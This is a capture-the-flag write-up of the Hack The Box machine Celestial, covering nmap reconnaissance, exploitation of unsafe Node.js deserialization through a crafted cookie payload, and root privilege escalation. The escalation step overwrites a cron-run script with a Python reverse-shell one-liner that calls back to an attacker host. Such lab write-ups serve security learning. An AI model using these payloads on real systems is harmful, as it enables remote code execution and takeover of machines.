Hi guys! Today I'm gonna show you how I solved Celestial from Hack The Box.
This box wasn't particularly hard but gave me so much fun! Especially beacuse I never worked with Node.js
Lets begin...

Information Gathering

I started to assess the box with my regular nmap scanning flow, I always perform in order:

  • A fast SYN scan, with only top 100 ports
  • A SYN scan with top 1000 ports, running default scripts
  • A more targeted version scan on found open ports, with some advanced NSE
  • A full SYN scan with -p-
  • Some other NSE, if useful
  • UDP Scan of top 5/10 ports, very slow :(

The fast scan revealed no open ports:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-03 16:11 CEST
Nmap scan report for
Host is up (0.10s latency).
All 100 scanned ports on are closed (67) or filtered (33)

Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds 

Ok ok, no panic. Let's continue with top 1000 ports (nmap default)

sudo nmap -sS -T4 -oA syn
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-03 16:12 CEST
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up (0.045s latency).
Not shown: 999 closed ports
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 27.48 seconds

Bingo, port 3000 open.
I decided to stop scanning and focus on port 3000, let's see if I made the right decision!


The nmap version scanning showed me that on port 3000 a Node.js webserver is running, using Express framework.

nmap -sVT -p3000 -sC -oA port_3000
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-03 16:13 CEST
Nmap scan report for
Host is up (0.051s latency).

3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

I curled the web page at and gave me a custom 404. Inspecting the headers:


The fist thing that I noticed is the strange cookie value that the app sets.
The cookie is obviously a base64 value, let's decode it:

echo eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ | base64 -d
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If I navigate the web app with that cookie:


mmh, seems that the parameter num is used to evaluate a formula.
Editing the value inside Intruder (I used intruder and not repeater because I needed to encode the payload every time) showed me that if I change that value, the resulting formula is affected:



Nice, we know that our input in a JSON format gets someway evaluated. We also know that in JS there is a nasty function called eval() that executes the input code, in the context of Nodejs this could lead to remote code execution on the server.
I don't have a lot of experience with node js, so I searched for relevant information/tutorials on the internet.
I found two blog posts:

Seems like that insecure deserialization is the perfect candidate for this exploit (and the demo example in those posts are also quite similar to this app :P )

Ok, how do we test this?
Doing my research I found that adding a new parameter with a particular value could execute commands on the server.
After some trial and error, I used the most noisy payload ever:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"20", "code":"_$$ND_FUNC$$_process.exit(0)"}

What it does is basically shut down the server. If it works I'll have to revert the machine or to wait if there is scripts that put it up again.
I crafted the payload and...


Server down ;) We are now able to execute commands on the server.
Following one of the posts I found on exploiting nodejs, I used a python script to build a reverse shell in JS:


I executed the payload and got the reverse shell!



We have a shell on the machine, what do we do now?
Basic post-explotation tasks, obviously!

uname -a 
cat /etc/*release

It turned out that the sytem is an Ubuntu 16.04, with a kernel version 4.4.0
The system is quite new, I found some local explots on explotdb but none of them worked :(

I was blindly throwing exploits, that was not the right track.
Looking back at the current users's home dir I noticed two interesting files:

  • script.py A simple python script that printed out a message like "This script is working"
  • output.txt A text file containing the output of script.py, mmh strange.

The permissions of those files are also messed up, the script.py file was owned by the current user, so I could edit it, but output.txt was owned by root.
Let's try to insert some python code inside the script and see if root executes it with a cronjon or custom script!
I used a simple reverse shell in python for this:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4400));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > script.py

And waited with my loyal netcat on port 4400:


boom, root account, done ;)